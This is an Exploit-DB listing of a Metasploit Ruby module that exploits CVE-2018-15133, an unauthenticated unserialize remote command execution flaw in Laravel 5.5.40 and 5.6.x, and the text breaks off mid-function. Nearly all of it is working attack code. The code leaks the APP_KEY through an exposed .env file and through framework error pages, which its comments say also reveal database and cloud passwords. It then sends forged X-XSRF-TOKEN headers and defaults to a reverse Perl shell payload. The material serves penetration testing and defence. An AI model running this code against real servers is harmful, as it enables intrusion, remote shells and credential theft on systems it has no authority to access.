Exploit-DB #47129
Description: PHP Laravel Framework 5.5.40 / 5.6.x < 5.6.30 - token Unserialize Remote Command Execution (Metasploit)
Type: remote
Platform: linux
Date: 2019-07-16
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'PHP Laravel Framework token Unserialize Remote Command Execution',
      'Description' => %q{
        This module exploits a vulnerability in the PHP Laravel Framework for versions 5.5.40, 5.6.x <= 5.6.29.
        Remote Command Execution is possible via a correctly formatted HTTP X-XSRF-TOKEN header, due to
        an insecure unserialize call of the decrypt method in Illuminate/Encryption/Encrypter.php.
        Authentication is not required, however exploitation requires knowledge of the Laravel APP_KEY.
        Similar vulnerabilities appear to exist within Laravel cookie tokens based on the code fix.
        In some cases the APP_KEY is leaked which allows for discovery and exploitation.
      },
      'DisclosureDate' => '2018-08-07',
      'Author' =>
        [
          'Ståle Pettersen',  # Discovery
          'aushack',          # msf exploit + other leak
        ],
      'References' =>
        [
          ['CVE', '2018-15133'],
          ['CVE', '2017-16894'],
          ['URL', 'https://github.com/kozmic/laravel-poc-CVE-2018-15133'],
          ['URL', 'https://laravel.com/docs/5.6/upgrade#upgrade-5.6.30'],
          ['URL', 'https://github.com/laravel/framework/pull/25121/commits/d84cf988ed5d4661a4bf1fdcb08f[PII_REDACTED]a0']
        ],
      'License' => MSF_LICENSE,
      'Platform' => 'unix',
      'Arch' => ARCH_CMD,
      'DefaultTarget' => 0,
      'Stance' => Msf::Exploit::Stance::Aggressive,
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' },
      'Payload' => { 'DisableNops' => true },
      'Targets' => [[ 'Automatic', {} ]],
    ))

    register_options([
      OptString.new('TARGETURI', [ true, 'Path to target webapp', '/']),
      OptString.new('APP_KEY', [ false, 'The base64 encoded APP_KEY string from the .env file', ''])
    ])
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET'
    })

    # Can be 'XSRF-TOKEN', 'X-XSRF-TOKEN', 'laravel_session', or $appname_session... and maybe more?
    unless res && res.headers && res.headers.to_s =~ /XSRF-TOKEN|laravel_session/i
      return CheckCode::Unknown
    end

    auth_token = check_appkey
    if auth_token.blank? || test_appkey(auth_token) == false
      vprint_error 'Unable to continue: the set datastore APP_KEY value or information leak is invalid.'
      return CheckCode::Detected
    end

    random_string = Rex::Text.rand_text_alphanumeric(12)

    1.upto(4) do |method|
      vuln = generate_token("echo #{random_string}", auth_token, method)

      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'method' => 'POST',
        'headers' => {
          'X-XSRF-TOKEN' => "#{vuln}",
        }
      })

      if res.body.include?(random_string)
        return CheckCode::Vulnerable
      # Not conclusive but witnessed in the wild
      elsif res.body.include?('Method Not Allowed')
        return CheckCode::Safe
      end
    end
    CheckCode::Detected
  rescue Rex::ConnectionError
    CheckCode::Unknown
  end

  def env_leak
    key = ''
    vprint_status 'Checking for CVE-2017-16894 .env information leak'
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '.env'),
      'method' => 'GET'
    })

    # Good but may be other software. Can also check for 'APP_NAME=Laravel' etc
    return key unless res && res.body.include?('APP_KEY') && res.body =~ /APP_KEY\=base64:(.*)/
    key = $1

    if key
      vprint_good "APP_KEY Found via CVE-2017-16894 .env information leak: #{key}"
      return key
    end

    vprint_status 'Website .env file exists but didn\'t find a suitable APP_KEY'
    key
  end

  def framework_leak(decrypt_ex = true)
    key = ''
    if decrypt_ex
      # Possible config error / 0day found by aushack during pentest
      # Seen in the wild with recent releases
      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'method' => 'POST',
        'headers' => {
          'X-XSRF-TOKEN' => Rex::Text.rand_text_alpha(1) # May trigger
        }
      })

      return key unless res && res.body.include?('DecryptException') && res.body.include?('APP_KEY')
    else
      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'method' => 'POST'
      })

      return key unless res && res.body.include?('MethodNotAllowedHttpException') && res.body.include?('APP_KEY')
    end
    # Good sign but might be more universal with e.g. 'vendor/laravel/framework' ?

    # Leaks all environment config including passwords for databases, AWS, REDIS, SMTP etc... but only the APP_KEY appears to use base64
    if res.body =~ /\>base64:(.*)\<\/span\>/
      key = $1
      vprint_good "APP_KEY Found via Laravel Framework error information leak: #{key}"
    end

    key
  end

  def check_appkey
    key = datastore['APP_KEY'].present? ? datastore['APP_KEY'] : ''
    return key unless key.empty?

    vprint_status 'APP_KEY not set. Will try to find it...'
    key = env_leak
    key = framework_leak if key.empty?
    key = framework_leak(false) if key.empty?
    key.empty? ? false : key
  end

  def test_appkey(value)
    value = Rex::Text.decode_base64(value)
    return true if value && value.length.to_i == 32

    false
  end

  def generate_token(cmd, key, method)
    # Ported phpggc Laravel RCE php objects :)
    case method
      when 1
      payload_decode